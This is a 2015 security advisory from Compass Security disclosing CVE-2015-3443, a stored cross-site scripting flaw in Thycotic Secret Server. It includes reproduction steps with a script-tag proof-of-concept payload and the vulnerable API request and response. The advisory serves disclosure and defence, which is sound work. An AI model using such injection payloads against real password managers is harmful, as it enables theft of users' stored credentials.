CVE-2015-3443 XSS in Thycotic Secret Server version 8.6.000000 to 8.8.000004

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# COMPASS SECURITY ADVISORY
# http://www.csnc.ch/en/downloads/advisories.html
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# CVE ID :      CVE-2015-3443
# Product:      Secret Server [1]
# Vendor:       Thycotic
# Subject:      Stored Cross-Site Scripting Vulnerability (XSS)
# Risk:         High
# Effect:       Remotely exploitable
# Author:       Marco Delai (marco.delai@csnc.ch)
# Date:         June 24th 2015
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Introduction:
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Thycotic Secret Server enterprise password management software allows
the creation, management and control of critical passwords in one
centralized, web-based repository [1].

The identified vulnerability (stored Cross-Site Scripting) allows the
execution of JavaScript code in the browser of a valid user when it
toggle the password mask on a specially crafted password. This allows,
for example, an attacker to prepare a specially crafted shared password,
which when read by another user, can steal all other passwords the
victim has access to.


Vulnerable:
-----------
Secret Server customers on version 8.6.000000 to 8.8.000004 [2].


Technical Details
--------------------
Exploiting the vulnerability simply requires to:
1. Create a new password entry within Secret Server with the following
   value: "Compass Security<script>alert("Compass Security")</script>"
2. Open the basic dashboard and toggle the password mask. The password
   is retrieved from the server using an AJAX call and its value is
   added straight to the page's DOM without validation. Thus, the
   script included in step 1 is executed.

Note that the payload defined in step 1 did only get executed in the
basic dashboard view. The advanced dashboard did adequately encode the
password. Extract of the vulnerable page:

        GET
/SecretServer/api.ashx/simplehome/GetSecretItemValue?secretItemId=[...]&audi
tAction=unmask HTTP/1.1

        HTTP/1.1 200 OK
        Cache-Control: no-cache, no-store, must-revalidate
        Pragma: no-cache
        Content-Length: 62
        Content-Type: application/json; charset=utf-8
        Expires: -1
        [...]
        Content-Security-Policy: connect-src 'self'; font-src 'self';
frame-src 'self' sslauncher:; img-src 'self' data:; media-src 'self';
object-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self'
'unsafe-inline' 'unsafe-eval'
        X-Content-Security-Policy: connect-src 'self'; font-src 'self';
frame-src 'self' sslauncher:; img-src 'self' data:; media-src 'self';
object-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self'
'unsafe-inline' 'unsafe-eval'
        X-Content-Type-Options: nosniff
        X-XSS-Protection: 1; mode=block
        X-UA-Compatible: IE=edge

        "Compass Security<script>alert(\"Compass Security\")</script>"


Remediation:
------------
Update Secret Server to the latest version, which fixes the
vulnerability [2].


Milestones:
-----------
2015-02-19 Vulnerability discovered
2015-02-20 Vulnerability reported to vendor
2015-02-20 Vendor patch [2]
2015-06-24 Public disclosure


References:
-----------
[1] http://thycotic.com/products/secret-server/
[2]
http://thycotic.com/products/secret-server/resources/advisories/thy-ss-004/